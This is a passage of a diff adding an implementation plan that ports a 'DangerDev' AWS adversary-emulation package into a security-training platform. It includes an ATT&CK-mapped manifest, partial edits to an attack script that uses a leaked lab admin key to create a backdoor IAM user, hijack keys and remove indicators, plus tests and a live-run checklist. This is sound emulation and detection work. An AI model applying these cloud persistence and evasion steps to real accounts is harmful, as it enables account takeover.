reconnaissance, defense evasion, and documented " + "SES/Route53 phishing infrastructure." + ), + "tier": "enterprise", + + # ── Readiness (compatibility-critical) ─────────────────────────────────── + # No vulnerable web service — go straight to READY_FOR_ATTACK after deploy. + "readiness": {"type": "none"}, + + # ── UI catalogue metadata ───────────────────────────────────────────────── + "origin": "unknown", + "origin_label": "APT EMULATION", + "tags": [ + "Leaked Credentials", + "IAM Abuse", + "Account Manipulation", + "Cross-Account Backdoor", + "Masquerading", + "Cryptomining Recon", + "Defense Evasion", + "Phishing Infrastructure", + ], + "technique_count": 17, + "severity": "HIGH", + "aliases": "DangerDev@protonmail.me", + "attribution": "DangerDev (Indonesia, financially motivated) — Cryptomining + SES/PayPal phishing", + "active_since": "Documented by Invictus IR", + "targets": "AWS accounts with leaked long-term IAM admin access keys", + "incidents": [ + "The Curious Case of DangerDev@protonmail.me (Invictus IR)", + ], + + # ── Kill-chain phases (frontend attackPath) ─────────────────────────────── + "attack_path": [ + { + "phase": 1, + "name": "Initial Access & Persistence Establishment", + "techniques": [ + {"id": "T1078.004", "name": "Valid Accounts: Cloud Accounts"}, + {"id": "T1526", "name": "Cloud Service Discovery"}, + {"id": "T1087.004", "name": "Account Discovery: Cloud Account"}, + {"id": "T1136.003", "name": "Create Account: Cloud Account"}, + {"id": "T1098.003", "name": "Account Manipulation: Additional Cloud Roles"}, + ], + }, + { + "phase": 2, + "name": "Infrastructure Discovery & Compute Deployment", + "techniques": [ + {"id": "T1580", "name": "Cloud Infrastructure Discovery"}, + {"id": "T1578.002", "name": "Modify Cloud Compute: Create Cloud Instance"}, + {"id": "T1021.001", "name": "Remote Services: Remote Desktop Protocol"}, + {"id": "T1496", "name": "Resource Hijacking"}, + ], + }, + { + "phase": 3, + "name": "Persistence Hardening, Collection, Evasion & Phishing Infra", + "techniques": [ + {"id": "T1036.005", "name": "Masquerading: Match Legitimate Name or Location"}, + {"id": "T1199", "name": "Trusted Relationship"}, + {"id": "T1098", "name": "Account Manipulation"}, + {"id": "T1530", "name": "Data from Cloud Storage"}, + {"id": "T1518.001", "name": "Software Discovery: Security Software Discovery"}, + {"id": "T1070", "name": "Indicator Removal"}, + {"id": "T1583.001", "name": "Acquire Infrastructure: Domains"}, + {"id": "T1566.002", "name": "Phishing: Spearphishing Link"}, + ], + }, + ], + + # ── Full MITRE ATT&CK mappings (frontend mitreMappings) ─────────────────── + "mitre_mappings": [ + {"id": "T1078.004", "name": "Valid Accounts: Cloud Accounts", "tactic": "Initial Access", "platform": "AWS IAM", + "description": "Bootstrap from a leaked lab-infra-admin long-term access key; GetUser (not GetCallerIdentity) to avoid the identity-check fingerprint."}, + {"id": "T1526", "name": "Cloud Service Discovery", "tactic": "Discovery", "platform": "AWS SES", + "description": "Enumerate SES send quota and identities to assess phishing/spam capacity before committing."}, + {"id": "T1087.004", "name": "Account Discovery: Cloud Account", "tactic": "Discovery", "platform": "AWS IAM", + "description": "ListUsers to map existing accounts and learn the ses-smtp-user.* naming pattern used for later masquerade."}, + {"id": "T1136.003", "name": "Create Account: Cloud Account", "tactic": "Persistence", "platform": "AWS IAM", + "description": "Create the DangerDev@protonmail.me backdoor user with a login profile and access key."}, + {"id": "T1098.003", "name": "Account Manipulation: Additional Cloud Roles", "tactic": "Privilege Escalation", "platform": "AWS IAM", + "description": "Attach AdministratorAccess to the backdoor user and pivot the active session to it."}, + {"id": "T1580", "name": "Cloud Infrastructure Discovery", "tactic": "Discovery", "platform": "AWS EC2", + "description": "Enumerate regions, instances, security groups, VPCs, AZs and GPU-capable instance types (mining reconnaissance)."}, + {"id": "T1578.002", "name": "Modify Cloud Compute: Create Cloud Instance", "tactic": "Defense Evasion", "platform": "AWS EC2", + "description": "Launch a t2.micro test instance, confirm running, then terminate — the lifecycle test before committing GPU spend (real p3.16xlarge documented-only)."}, + {"id": "T1021.001", "name": "Remote Services: Remote Desktop Protocol", "tactic": "Lateral Movement", "platform": "EC2 / Windows", + "description": "TCP SYN probe to port 3389 on the public Windows instance, generating a VPC Flow Log ACCEPT record (no interactive RDP)."}, + {"id": "T1496", "name": "Resource Hijacking", "tactic": "Impact", "platform": "EC2 / Windows", + "description": "Benign CPU-bound workload pre-deployed in EC2 UserData approximating the GPU-cryptomining lifecycle (CloudWatch CPU spike, no real mining)."}, + {"id": "T1036.005", "name": "Masquerading: Match Legitimate Name or Location", "tactic": "Defense Evasion", "platform": "AWS IAM", + "description": "Create a 'ses' user blending with SES auto-generated ses-smtp-user.* accounts; inspect typosquatted backdoor roles."}, + {"id": "T1199", "name": "Trusted Relationship", "tactic": "Initial Access", "platform": "AWS IAM / STS", + "description": "Wire cross-account backdoor roles (AWSeservedSSO_AdminAccess, AWSLanding-Zones-ConfigRecorderRoles); AssumeRole returns the expected AccessDenied while still logging the event."}, + {"id": "T1098", "name": "Account Manipulation", "tactic": "Persistence", "platform": "AWS IAM", + "description": "Create a second access key on alice.chen and reset her console password to retain access after the backdoor user is deleted."}, + {"id": "T1530", "name": "Data from Cloud Storage", "tactic": "Collection", "platform": "AWS S3 / IAM", + "description": "Enumerate S3 buckets/objects plus instance profiles, group membership and SSH keys in a rapid discovery burst."}, + {"id": "T1518.001", "name": "Software Discovery: Security Software Discovery", "tactic": "Discovery", "platform": "AWS GuardDuty", + "description": "Review GuardDuty findings using an anomalous RDS-console user-agent and probe SSM/SecretsManager access via SimulatePrincipalPolicy (no direct calls)."}, + {"id": "T1070", "name": "Indicator Removal", "tactic": "Defense Evasion", "platform": "AWS IAM", + "description": "Delete the ses masquerade user and the DangerDev@protonmail.me backdoor (deletions are themselves CloudTrail indicators)."}, + {"id": "T1583.001", "name": "Acquire Infrastructure: Domains", "tactic": "Resource Development", "platform": "AWS Route53", + "description": "DOCUMENTED ONLY — RegisterDomain for PayPal-mimicking domains is not executed; the simulated CloudTrail event is printed."}, + {"id": "T1566.002", "name": "Phishing: Spearphishing Link", "tactic": "Initial Access", "platform": "AWS SES", + "description": "VerifyEmailIdentity on a lab-controlled address is executed; SendEmail to real targets is documented-only (SES sandbox blocks delivery)."}, + ], + + # ── References (frontend references) ────────────────────────────────────── + "references": [ + {"icon": ">", "title": "The Curious Case of DangerDev@protonmail.me", "source": "Invictus IR · invictus-ir.com", "type": "REPORT", "color": "cyan"}, + {"icon": "#", "title": "MITRE ATT&CK — T1136.003: Create Account: Cloud Account", "source": "MITRE ATT&CK · mitre.org", "type": "MITRE", "color": "purple"}, + {"icon": "#", "title": "MITRE ATT&CK — T1199: Trusted Relationship", "source": "MITRE ATT&CK · mitre.org", "type": "MITRE", "color": "purple"}, + {"icon": "~", "title": "AWS Security Best Practices: Rotate and Restrict Long-Term Access Keys", "source": "AWS Security Blog", "type": "DOCUMENTATION", "color": "orange"}, + ], + + # ── Infrastructure and cost metadata ────────────────────────────────────── + "phase_count": 3, + "estimated_duration_minutes": 8, + "estimated_cost_per_hour_usd": 0.05, + "default_ttl_hours": 4, + "total_resources": 52, # refine from `pulumi preview` in Task D + "resources": { + "ec2_count": 1, + "instance_types": ["t2.micro"], + "uses_lambda": False, + "uses_secrets_manager": True, + "uses_cloudtrail": True, + "uses_guardduty": True, + }, + "resource_costs": [ + {"name": "EC2 t2.micro (Windows)", "count": 1, "cost_per_hour_usd": 0.0162}, + {"name": "GuardDuty detector", "count": 1, "cost_per_hour_usd": 0.01}, + {"name": "CloudTrail (data events)","count": 1, "cost_per_hour_usd": 0.01}, + {"name": "KMS key", "count": 1, "cost_per_hour_usd": 0.0014}, + {"name": "Secrets Manager secret", "count": 1, "cost_per_hour_usd": 0.00055}, + {"name": "S3 buckets", "count": 3, "cost_per_hour_usd": 0.0}, + {"name": "SNS topic", "count": 1, "cost_per_hour_usd": 0.0}, + ], +} +``` + +- [ ] **Step 2: Verify it imports and has the required keys** + +Run (from ``): +```powershell +python -c "import sys; sys.path.insert(0,'.'); from emulations.dangerdev.MANIFEST import MANIFEST as m; req={'name','display_name','description','tier'}; assert req <= set(m), req - set(m); assert m['readiness']=={'type':'none'}; print('OK', m['name'], 'phases', m['phase_count'], 'techniques', m['technique_count'])" +``` +Expected: `OK dangerdev phases 3 techniques 17` + +### Task A5: Port `attack.py` to `run(outputs, region)` + +**Files:** +- Create: `/emulations/dangerdev/attack.py` (copy of pipeline `emulation_scripts/attack.py`, then edit) + +Keep all 17 steps, the `CredentialStore`, `_events`, masquerade logic, and the +static name lookups **verbatim**. Edit only the boundary. + +- [ ] **Step 1: Copy the pipeline attack script** + +```powershell +Copy-Item -Force "$src\emulation_scripts\attack.py" "$dst\attack.py" +``` + +- [ ] **Step 2: Header — imports** + +Replace: +```python +import sys +import time +import random +import json +import socket +import os +from datetime import datetime, timezone + +import boto3 +from botocore.exceptions import ClientError +``` +with: +```python +import json +import logging +import random +import socket +import time +from datetime import datetime, timezone + +import boto3 +from botocore.exceptions import ClientError + +logger = logging.getLogger(__name__) +``` + +- [ ] **Step 3: Region-aware session/client helpers** + +Replace: +```python +def make_session(key_id: str, secret: str, region: str = "us-east-1") -> boto3.Session: + return boto3.Session( + aws_access_key_id=key_id, + aws_secret_access_key=secret, + region_name=region, + ) + + +def boto_client(creds: CredentialStore, service: str, + cred_id: str = None, region: str = "us-east-1", **kwargs): + return creds.get(cred_id).client(service, region_name=region, **kwargs) +``` +with: +```python +def make_session(key_id: str, secret: str, region: str) -> boto3.Session: + return boto3.Session( + aws_access_key_id=key_id, + aws_secret_access_key=secret, + region_name=region, + ) + + +def boto_client(creds: CredentialStore, service: str, + cred_id: str = None, **kwargs): + # Region is inherited from the session (created with the run() region). + return creds.get(cred_id).client(service, **kwargs) +``` + +- [ ] **Step 4: Thread `region` through the phase signatures** + +- `def phase1(creds: CredentialStore, account_id: str) -> str:` → `def phase1(creds: CredentialStore, account_id: str, region: str) -> str:` +- `def phase2(creds: CredentialStore, account_id: str):` → `def phase2(creds: CredentialStore, account_id: str, region: str):` +- `def phase3(creds: CredentialStore, account_id: str):` → `def phase3(creds: CredentialStore, account_id: str, region: str):` + +- [ ] **Step 5: Remove every literal region argument (sessions now carry region)** + +In all of `phase1/phase2/phase3`: +- Delete every `region="us-east-1"` argument from `boto_client(...)` calls (e.g. `boto_client(creds, "ses", "leaked_admin_session", region="us-east-1")` → `boto_client(creds, "ses", "leaked_admin_session")`). +- Change every direct `.client("", region_name="us-east-1")` to `.client("")` (inherits session region) — affects the GuardDuty client and the alice SES client. +- Append `, region` to every `make_session(...)` call so the session is built in the run region: the `dangerdev_session` (Step 4 phase1), `ses_masquerade_session` and `alice_hijacked_session` (phase3), and both cleanup sessions. + +- [ ] **Step 6: Step 15 self-cleanup — use the leaked-admin session, not env keys** + +Replace the operator-key lookup + session creation: +```python + lab_op_key_id = os.environ.get("LAB_OPERATOR_KEY_ID") + lab_op_secret = os.environ.get("LAB_OPERATOR_SECRET_KEY") + + if not lab_op_key_id or not lab_op_secret: + print_err("LAB_OPERATOR_KEY_ID / LAB_OPERATOR_SECRET_KEY not set") + print_err("Manual cleanup required: DetachUserPolicy, DeleteAccessKey, DeleteLoginProfile, DeleteUser for DangerDev@protonmail.me") + else: + lab_iam = make_session(lab_op_key_id, lab_op_secret).client("iam", region_name="us-east-1") +``` +with: +```python + # lab-infra-admin (Administrator, a different principal than the backdoor + # user) performs the self-cleanup deletions the pivoted session cannot. + if creds.has("leaked_admin_session"): + lab_iam = creds.get("leaked_admin_session").client("iam") + else: + lab_iam = None + + if lab_iam is None: + print_err("leaked_admin_session unavailable — manual cleanup of DangerDev@protonmail.me required") + else: +``` +(Keep the existing indented `try/except` cleanup body under the new `else:`.) + +- [ ] **Step 7: Post-17 cleanup — same swap** + +Replace: +```python + lab_op_key_id = os.environ.get("LAB_OPERATOR_KEY_ID") + lab_op_secret = os.environ.get("LAB_OPERATOR_SECRET_KEY") + alice_hijacked_meta = creds.meta("alice_hijacked_session") + alice_hijacked_key_id = alice_hijacked_meta.get("key_id") + if alice_hijacked_key_id and lab_op_key_id and lab_op_secret: + op_delay(1, 2) + try: + lab_cleanup_iam = make_session(lab_op_key_id, lab_op_secret).client("iam", region_name="us-east-1") +``` +with: +```python + alice_hijacked_meta = creds.meta("alice_hijacked_session") + alice_hijacked_key_id = alice_hijacked_meta.get("key_id") + if alice_hijacked_key_id and creds.has("leaked_admin_session"): + op_delay(1, 2) + try: + lab_cleanup_iam = creds.get("leaked_admin_session").client("iam") +``` + +- [ ] **Step 8: Replace `sys.exit(1)` calls with `RuntimeError`** + +In `phase1`, replace the credential-failure `sys.exit(1)` (after the +`CreateAccessKey DangerDev` failure) with: +```python + raise RuntimeError("Could not create DangerDev@protonmail.me access key — aborting") +``` + +- [ ] **Step 9: Replace `main()` + `__main__` with `run(outputs, region)`** + +Replace the whole entry-point block: +```python +def main(target_info: str = ""): + print("DangerDev — Automated Post-Exploitation Attack Script") + print("MayaTrail Adversary Emulation | AWS | 3 phases | 17 steps") + print(f"Target context: {target_info or '(from environment variables)'}\n") + + leaked_key_id = os.environ.get("LEAKED_KEY_ID") + leaked_secret = os.environ.get("LEAKED_SECRET_KEY") + account_id = os.environ.get("ACCOUNT_ID", "") + + if not leaked_key_id or not leaked_secret: + print("FATAL: LEAKED_KEY_ID and LEAKED_SECRET_KEY must be set (lab-infra-admin from bait tfstate)") + sys.exit(1) + + creds = CredentialStore() + creds.add("leaked_admin_session", make_session(leaked_key_id, leaked_secret), { + "key_id": leaked_key_id, + "username": "lab-infra-admin", + }) + creds.activate("leaked_admin_session") + + try: + account_id = phase1(creds, account_id) + phase2(creds, account_id) + phase3(creds, account_id) + except KeyboardInterrupt: + print("\n[!] Interrupted by operator") + except Exception as exc: + print_err(f"Unhandled exception: {exc}") + import traceback + traceback.print_exc() + finally: + print_summary() + + +if __name__ == "__main__": + main(sys.argv[1] if len(sys.argv) > 1 else "") +``` +with: +```python +def run(outputs: dict, region: str = "us-east-1") -> None: + """ + Entry point called by the run_emulation_attack Celery task. + + Args: + outputs: Pulumi stack outputs. Requires admin_access_key_id and + admin_access_key_secret (the leaked lab-infra-admin credential). + region: AWS region the stack was deployed in (Stack.region). + """ + print("DangerDev — Automated Post-Exploitation Attack Script") + print("MayaTrail Adversary Emulation | AWS | 3 phases | 17 steps") + logger.info("DangerDev emulation starting (region=%s)", region) + + leaked_key_id = outputs.get("admin_access_key_id") + leaked_secret = outputs.get("admin_access_key_secret") + if not leaked_key_id or not leaked_secret: + raise RuntimeError( + "admin_access_key_id / admin_access_key_secret missing from stack " + "outputs — cannot bootstrap the leaked-admin credential." + ) + + account_id = "" + creds = CredentialStore() + creds.add("leaked_admin_session", make_session(leaked_key_id, leaked_secret, region), { + "key_id": leaked_key_id, + "username": "lab-infra-admin", + }) + creds.activate("leaked_admin_session") + + try: + account_id = phase1(creds, account_id, region) + phase2(creds, account_id, region) + phase3(creds, account_id, region) + except Exception as exc: + print_err(f"Unhandled exception: {exc}") + import traceback + traceback.print_exc() + raise + finally: + print_summary() +``` + +- [ ] **Step 10: Byte-compile + import + signature check** + +Run (from ``, in the backend Python env that has boto3): +```powershell +python -m py_compile emulations\dangerdev\attack.py +python -c "import sys, inspect; sys.path.insert(0,'.'); from emulations.dangerdev import attack; sig=inspect.signature(attack.run); assert list(sig.parameters)[:2]==['outputs','region'], sig; print('run signature OK:', sig)" +``` +Expected: `run signature OK: (outputs: dict, region: str = 'us-east-1') -> None` + +- [ ] **Step 11: Confirm no `os`/`sys`/`environ` left** + +Run: +```powershell +Select-String -Path "emulations\dangerdev\attack.py" -Pattern "os\.environ|sys\.exit|sys\.argv|^import os|^import sys" +``` +Expected: no matches. + +### Task A6: Port + sanitize `PLAYBOOK.md` + +**Files:** +- Create: `/emulations/dangerdev/PLAYBOOK.md` (from pipeline `ir_playbooks/playbook_DANGERDEV.md`) + +- [ ] **Step 1: Copy to the package root** + +```powershell +Copy-Item -Force "$src\ir_playbooks\playbook_DANGERDEV.md" "$dst\PLAYBOOK.md" +``` + +- [ ] **Step 2: Sanitize run-specific artifacts** + +Read `PLAYBOOK.md` and generalize any captured run specifics so it reads as a +reusable IR guide: replace concrete public IPs, EC2 instance IDs (`i-...`), +access-key IDs (`AKIA...`/`ASIA...`), account numbers other than the documented +adversary accounts, and absolute timestamps with generic placeholders +(e.g. ``, ``, ``). Keep the technique +narrative and detection guidance intact. + +- [ ] **Step 3: Verify no leftover live IPs/instance IDs** + +Run: +```powershell +Select-String -Path "emulations\dangerdev\PLAYBOOK.md" -Pattern "\bi-[0-9a-f]{8,}\b|AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}" +``` +Expected: no matches. + +### Task A7: Registry integration check (whole package) + +- [ ] **Step 1: `registry.discover()` lists dangerdev with detections** + +Run (from ``): +```powershell +python -c "import sys; sys.path.insert(0,'.'); from emulations.registry import discover; d={e['name']:e for e in discover()}; e=d['dangerdev']; assert e['tier']=='enterprise'; assert e['detection_files'], 'no detections'; print('dangerdev registered | detections:', len(e['detection_files']), '| readiness:', e['manifest']['readiness'])" +``` +Expected: `dangerdev registered | detections: 32 | readiness: {'type': 'none'}` (count per A1). + +- [ ] **Step 2 (commit checkpoint — confirm with user first):** + +```powershell +git -C "C:\Users\Ayush\Documents\mayatrail\step1" add emulations/dangerdev +git -C "C:\Users\Ayush\Documents\mayatrail\step1" commit -m "feat(emulations): add DANGERDEV backend-compatible package" +``` + +--- + +## Phase B — backend readiness change (TDD) + +### Task B1: Failing test for the readiness helper + +**Files:** +- Create: `/backend/apps/emulations/tests/__init__.py` (empty) +- Create: `/backend/apps/emulations/tests/test_readiness.py` + +> Note: if `backend/apps/emulations/tests.py` already exists, convert it to the +> `tests/` package by moving it to `tests/test_legacy.py` first (Django discovers +> either a `tests.py` module or a `tests/` package, not both). + +- [ ] **Step 1: Write the failing test** + +```python +from apps.emulations.readiness import DEFAULT_READINESS, resolve_readiness, requires_http_probe + + +def test_absent_readiness_defaults_to_ec2_http(): + r = resolve_readiness({}) + assert r == DEFAULT_READINESS + assert r["ip_output"] == "vuln_instance_ip" + assert requires_http_probe(r) is True + + +def test_none_readiness_skips_probe(): + r = resolve_readiness({"readiness": {"type": "none"}}) + assert r["type"] == "none" + assert requires_http_probe(r) is False + + +def test_custom_ec2_http_readiness_passthrough(): + custom = {"type": "ec2_http", "ip_output": "web_ip", "port": 9000, "path": "/ready"} + r = resolve_readiness({"readiness": custom}) + assert r == custom + assert requires_http_probe(r) is True +``` + +- [ ] **Step 2: Run it; verify it fails (module missing)** + +Run (from `/backend`, backend env active): +```powershell +python manage.py test apps.emulations.tests.test_readiness -v 2 +``` +Expected: FAIL — `ModuleNotFoundError: No module named 'apps.emulations.readiness'`. + +### Task B2: Implement the readiness helper + +**Files:** +- Create: `/backend/apps/emulations/readiness.py` + +- [ ] **Step 1: Write the pure helper** + +```python +""" +Readiness contract for emulation stacks. + +An emulation's MANIFEST may declare a `readiness` block describing how the +backend decides a freshly-deployed stack is ready for the attack phase: + + {"type": "ec2_http", "ip_output": "vuln_instance_ip", "port": 8080, "path": "/health"} + Poll http://: until 200 (scarleteel model). + + {"type": "none"} + No probe — the stack is ready immediately after deploy (e.g. IAM/ + credential-abuse emulations with no vulnerable web service). + +When the field is absent the legacy ec2_http behavior is used, so existing +emulations need no change. +""" + +from __future__ import annotations + +from typing import Any + +DEFAULT_READINESS: dict[str, Any] = { + "type": "ec2_http", + "ip_output": "vuln_instance_ip", + "port": 8080, + "path": "/health", +} + + +def resolve_readiness(manifest: dict[str, Any]) -> dict[str, Any]: + """Return the manifest's readiness block, or the legacy default if absent.""" + return manifest.get("readiness") or DEFAULT_READINESS + + +def requires_http_probe(readiness: dict[str, Any]) -> bool: + """True when the stack must pass an HTTP readiness probe before attack.""" + return readiness.get("type") != "none" +``` + +- [ ] **Step 2: Run the test; verify it passes** + +Run (from `/backend`): +```powershell +python manage.py test apps.emulations.tests.test_readiness -v 2 +``` +Expected: PASS (3 tests OK). + +### Task B3: Wire readiness into `tasks.py` + +**Files:** +- Modify: `/backend/apps/emulations/tasks.py` + +- [ ] **Step 1: Import the helper** + +Add to the `from apps.emulations.registry import get_emulation` import area: +```python +from apps.emulations.readiness import resolve_readiness, requires_http_probe +``` + +- [ ] **Step 2: Branch on readiness in `deploy_emulation_stack`** + +Replace: +```python + stack.outputs = {key: val.value for key, val in result.outputs.items()} + stack.status = Stack.Status.EC2_BOOTING + stack.save(update_fields=["status", "outputs", "updated_at"]) + finally: + shutil.rmtree(tmp_dir, ignore_errors=True) + + # Begin non-blocking EC2 readiness polling. + poll_ec2_readiness.apply_async(args=[stack_id], queue="enterprise") + + logger.info("Emulation stack deployed: name=%s → EC2_BOOTING", stack.name) + return {"stack_id": stack_id, "status": stack.status} +``` +with: +```python + stack.outputs = {key: val.value for key, val in result.outputs.items()} + readiness = resolve_readiness(manifest) + if requires_http_probe(readiness): + stack.status = Stack.Status.EC2_BOOTING + else: + # No vulnerable web service — ready for attack immediately. + stack.status = Stack.Status.READY_FOR_ATTACK + stack.save(update_fields=["status", "outputs", "updated_at"]) + finally: + shutil.rmtree(tmp_dir, ignore_errors=True) + + if requires_http_probe(readiness): + poll_ec2_readiness.apply_async(args=[stack_id], queue="enterprise") + logger.info("Emulation stack deployed: name=%s → EC2_BOOTING", stack.name) + else: + logger.info("Emulation stack deployed: name=%s → READY_FOR_ATTACK (no probe)", stack.name) + return {"stack_id": stack_id, "status": stack.status} +``` +(`manifest` is already in scope — it was fetched above for `total_resources`.) + +- [ ] **Step 3: Generalize `poll_ec2_readiness`** + +Replace: +```python + Stack = apps.get_model("infrastructure", "Stack") + + stack = _get_stack(stack_id) + ip = stack.outputs.get("vuln_instance_ip") + + if not ip: + logger.error( + "poll_ec2_readiness: no vuln_instance_ip in outputs for stack=%s", stack_id, + ) + stack.status = Stack.Status.FAILED + stack.save(update_fields=["status", "updated_at"]) + return + + try: + resp = http_requests.get(f"http://{ip}:8080/health", timeout=5) +``` +with: +```python + Stack = apps.get_model("infrastructure", "Stack") + + stack = _get_stack(stack_id) + entry = get_emulation(stack.emulation_type) + manifest = entry.get("manifest", entry) if entry else {} + readiness = resolve_readiness(manifest) + ip = stack.outputs.get(readiness["ip_output"]) + + if not ip: + logger.error( + "poll_ec2_readiness: no %s in outputs for stack=%s", + readiness["ip_output"], stack_id, + ) + stack.status = Stack.Status.FAILED + stack.save(update_fields=["status", "updated_at"]) + return + + try: + resp = http_requests.get( + f"http://{ip}:{readiness['port']}{readiness['path']}", timeout=5, + ) +``` + +- [ ] **Step 4: Sanity-check imports compile** + +Run (from `/backend`): +```powershell +python -c "import ast; ast.parse(open(r'apps/emulations/tasks.py', encoding='utf-8').read()); print('tasks.py parses')" +``` +Expected: `tasks.py parses` + +### Task B4: Explicit default readiness on scarleteel (documentation, no behavior change) + +**Files:** +- Modify: `/emulations/scarleteel/MANIFEST.py` + +- [ ] **Step 1: Add the readiness block** + +In scarleteel's `MANIFEST` dict, after the `"tier": "enterprise",` line add: +```python + "readiness": {"type": "ec2_http", "ip_output": "vuln_instance_ip", "port": 8080, "path": "/health"}, +``` + +- [ ] **Step 2: Confirm scarleteel still resolves to the same behavior** + +Run (from `/backend`): +```powershell +python -c "import sys; sys.path.insert(0,'..'); from emulations.scarleteel.MANIFEST import MANIFEST as m; from apps.emulations.readiness import resolve_readiness, requires_http_probe; r=resolve_readiness(m); assert r['ip_output']=='vuln_instance_ip' and requires_http_probe(r); print('scarleteel readiness OK', r)" +``` +Expected: `scarleteel readiness OK {...}` + +- [ ] **Step 3: Commit checkpoint (confirm with user first)** + +```powershell +git -C "C:\Users\Ayush\Documents\mayatrail\step1" add backend/apps/emulations emulations/scarleteel/MANIFEST.py +git -C "C:\Users\Ayush\Documents\mayatrail\step1" commit -m "feat(emulations): manifest-driven readiness gating (back-compatible)" +``` + +--- + +## Phase C — worker dependency + +### Task C1: Add `pulumi-tls` to the worker image + +**Files:** +- Modify: `/backend/requirements.txt` + +- [ ] **Step 1: Add the dependency** (after the `pulumi-aws==7.11.1` line) + +``` +pulumi-tls>=5.0.0,<6.0.0 +``` + +- [ ] **Step 2: Resolve + freeze the exact version to match repo style** + +```powershell +# in the backend env +pip install "pulumi-tls>=5.0.0,<6.0.0" +pip show pulumi-tls | Select-String "Version" +``` +Then edit `backend/requirements.txt` to pin the exact resolved version +(e.g. `pulumi-tls==5.2.0`). + +- [ ] **Step 3: Verify the program imports under the installed deps** + +```powershell +python -c "import pulumi_aws, pulumi_tls; print('pulumi-aws', pulumi_aws.__version__ if hasattr(pulumi_aws,'__version__') else 'ok'); print('pulumi-tls import ok')" +``` +Expected: no ImportError. + +- [ ] **Step 4: Rebuild the enterprise worker image** (so the running worker has the dep) + +```powershell +docker compose -f "C:\Users\Ayush\Documents\mayatrail\step1\docker-compose.yml" build worker_enterprise +``` +(Confirm the exact service name from `docker-compose.yml`; pair this with the user.) + +- [ ] **Step 5: Commit checkpoint (confirm with user first)** + +```powershell +git -C "C:\Users\Ayush\Documents\mayatrail\step1" add backend/requirements.txt +git -C "C:\Users\Ayush\Documents\mayatrail\step1" commit -m "build(worker): add pulumi-tls for DANGERDEV keypair" +``` + +--- + +## Phase D — static validation gate (all of the above, no live AWS) + +### Task D1: Full static validation + +- [ ] **Step 1: Registry + manifest + attack signature (re-run A4/A5/A7 checks together)** + +Run (from ``): +```powershell +python -c "import sys; sys.path.insert(0,'.'); from emulations.registry import discover; names=[e['name'] for e in discover()]; assert 'dangerdev' in names and 'scarleteel' in names, names; print('registry OK:', names)" +``` +Expected: `registry OK: ['dangerdev', 'scarleteel']` (order may vary). + +- [ ] **Step 2: `pulumi preview` type-checks the infra on v7 (needs AWS creds)** + +This is the authoritative Gap C check. With STS creds + the Pulumi state backend +configured the same way the worker uses them (or a local `PULUMI_BACKEND_URL`), +from `emulations/dangerdev/infra`: +```powershell +$env:PULUMI_CONFIG_PASSPHRASE="" +pulumi stack init dev-preview +pulumi config set aws:region us-east-1 +pulumi preview +pulumi stack rm dev-preview --yes +``` +Expected: preview completes with a resource plan and **no error diagnostics**. +If v7 surfaces further deltas (e.g. `aws.guardduty.Detector(datasources=...)`), +fix them here — convert `datasources` to `aws.guardduty.DetectorFeature` if the +inline arg errors — and re-run until clean. + +- [ ] **Step 3: Refine `total_resources`** + +Count the resources in the preview plan and update +`emulations/dangerdev/MANIFEST.py` `total_resources` to the real number (drives +the deploy progress bar). + +- [ ] **Step 4: Backend tests still green** + +Run (from `/backend`): +```powershell +python manage.py test apps.emulations -v 1 +``` +Expected: all pass. + +--- + +## Phase E — paired live run (interactive; user approves each AWS step) + +> Driven together: Claude issues commands, the user approves each AWS-touching +> action. Requires the MayaTrail stack running (enterprise worker with the +> rebuilt image, Redis, Postgres, Pulumi S3 state bucket) and an enterprise +> `User` with a valid `aws_role_arn`. Region: `us-east-1`. + +### Task E1: Deploy → READY_FOR_ATTACK + +- [ ] **Step 1: Trigger a deploy** (pick the path that fits the running stack) + - API: `POST /api/emulations/deploy/` with `{"emulation_type":"dangerdev","stack_name":"dangerdev-"}` as an enterprise user, **or** + - Django shell: create a `Stack` and call `deploy_emulation_stack(stack_id)` on the enterprise queue. +- [ ] **Step 2:** Watch the worker log; confirm `pulumi up` provisions all resources (keypair created via `pulumi-tls`). +- [ ] **Step 3:** Confirm `stack.outputs` is populated (incl. `admin_access_key_id`/`admin_access_key_secret`) and status transitions **straight to `READY_FOR_ATTACK`** (no `poll_ec2_readiness`). + +### Task E2: Run the attack + +- [ ] **Step 1:** `POST /api/emulations//attack/` (or enqueue `run_emulation_attack(run_id)`). +- [ ] **Step 2:** Stream the `EmulationRun.stdout`; confirm all 17 steps print, the credential pivots occur, and the `[EXPECTED_FAILURE]` AssumeRole + documented-only Steps 16/17 behave as designed. +- [ ] **Step 3:** Spot-check CloudTrail for the expected events and GuardDuty for findings. + +### Task E3: Destroy + verify clean + +- [ ] **Step 1:** `pulumi destroy` via `destroy_emulation_stack` (or wait for TTL auto-destroy). +- [ ] **Step 2:** Verify no orphaned IAM principals remain — `DangerDev@protonmail.me` and `ses` are attack-created and should have been removed by the Step 15 / post-17 self-cleanup. Manually delete any stragglers. +- [ ] **Step 3:** Confirm the `Stack` record is deleted and billing surface is gone. + +--- + +## Self-review notes (author) +- **Spec coverage:** §5.1→A4, §5.2→A5, §5.3→A3, §5.4→A2, §5.5→A2, §5.6→A6, §5.7→A1, §5.8→A1, §6→B1-B4, §7→C1, §8.1→D1, §8.2→E1-E3. Gaps A/B/C/D/E all have tasks. +- **Region threading (A5 Steps 3-5)** is the subtlest edit — sessions carry region, clients inherit; verified the cleanup sessions (B6/B7) and phase sessions all get `region`. +- **`total_resources`** is a deliberate estimate refined in D1 Step 3 (not a placeholder — it has a concrete value + a refinement step). +- **GuardDuty `datasources`** on v7 is the one infra unknown; D1 Step 2 catches and fixes it if needed. diff --git a/docs/superpowers/plans/2026-06-28-k8s-emulation-fixes.md b/docs/superpowers/plans/2026-06-28-k8s-emulation-fixes.md new file mode 100644 index 0000000..5141a09 --- /dev/null +++ b/docs/superpowers/plans/2026-06-28-k8s-emulation-fixes.md @@ -0,0 +1,1569 @@ +# K8s Emulation Fixes Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Fix all five k8s emulations by correcting metadata fields, adding startup health checks, completing incomplete attack chains, and adding detection rule files. + +**Architecture:** Each emulation is a self-contained directory under `step1/emulations/k8s_*/` with a `MANIFEST.py`, an `attack.py`, an `infra/__main__.py` (Pulumi/Flask simulator on EC2), and a `detections/` subdirectory. Attack chain completions extend the embedded Flask app in `infra/__main__.py` and add new print-phases to `attack.py`. Detection files are standalone YAML/KQL files with no code 